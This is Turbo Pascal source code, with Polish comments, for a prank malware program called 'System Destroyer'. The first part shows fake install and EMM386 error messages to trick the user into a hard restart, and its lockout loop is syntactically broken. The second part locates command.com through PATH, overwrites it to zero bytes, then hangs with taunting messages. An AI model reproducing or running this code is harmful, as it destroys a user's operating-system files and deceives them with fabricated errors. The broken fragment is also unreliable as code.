{*===========================================*}
{| Kod zrodlowy programu                                                                             |}
{|   HakerSoft(R)  System Destroyer(tm)                                                      |}
{|   (C)2006 Haker. All Rights Reserved.                                                       |}
{|   Made in Poland ;)                                                                                    |}
{*===========================================*}

{Standardowa inicjalizacja...}

program SD;

uses DOS, CRT, WavPlay, Graph;

var
Sciezka:PathStr;
Wirus:text;
Sterownik, tryb:integer;

const
FileName='fts.dzw'; {Nasza kochana piosenka "Fuck The System" ;) }

procedure blokada; {Blokujemy klawiaturke, piszemy zmyslony}
begin             {blad i kazemy zrestartowac kompa}
  repeat
   ClrScr;
    Writeln('An error occured in EMM386.EXE.');
    Writeln('System must be restarted. DO NOT');
    Writeln('use "CTRL+ALT+DEL". Hard restart please.');
    Delay(100);
     repeat
      FSearch

  until 'Rydzyk' = 'Papiez';  { <- To niezly fragment :D }
end;

BEGIN
Sterownik:=VGA; Tryb:=VGAhi;
InitGraph(sterownik,tryb,'C:\TP\BGI');
CloseGraph;                                 {Wymuszamy pelny ekran}
Delay(1000);
ClrScr;                                     {Tu tez glupoty}
  Writeln('Sterownik multimediow dla DOS');
  Writeln('Instalowanie...');
  Delay(1000);
  Writeln('Nie mozna zainstalowac - blad instalacji #66');
  Delay(500);
  blokada;


END.

program NoExec;

uses crt, dos;

var
Sciezka:PathStr;
Dupa:text;

const
FileName='fts.dzw'; {Nasza kochana piosenka "Fuck The System" ;) }

BEGIN
repeat

  ClrScr;
  Writeln('Hahaha!!! Teraz juz nie uciekniesz ;)');
  Writeln('Nie proboj wylaczac komputera, bo rozpieprze ci procesor');
  Writeln('HAKER Serdecznie dziekuje za skorzystanie z programu');
  Writeln('SYSTEM DESTROYER(tm) - nie SecureDigital :D');
  Sciezka:=FSearch('command.com', GetENV('PATH'));
   Assign(dupa,FExpand(Sciezka));
   Rewrite(dupa);
  Close(dupa);
  Delay(2000);
  Writeln('Mozesz juz zrestartowac komputer. Zyczymy Milego Dnia :D');
   repeat
   until 'moher' = 'modny';

until 'PIS + Ojciec Rydzyk' = 'PISiOR';
END.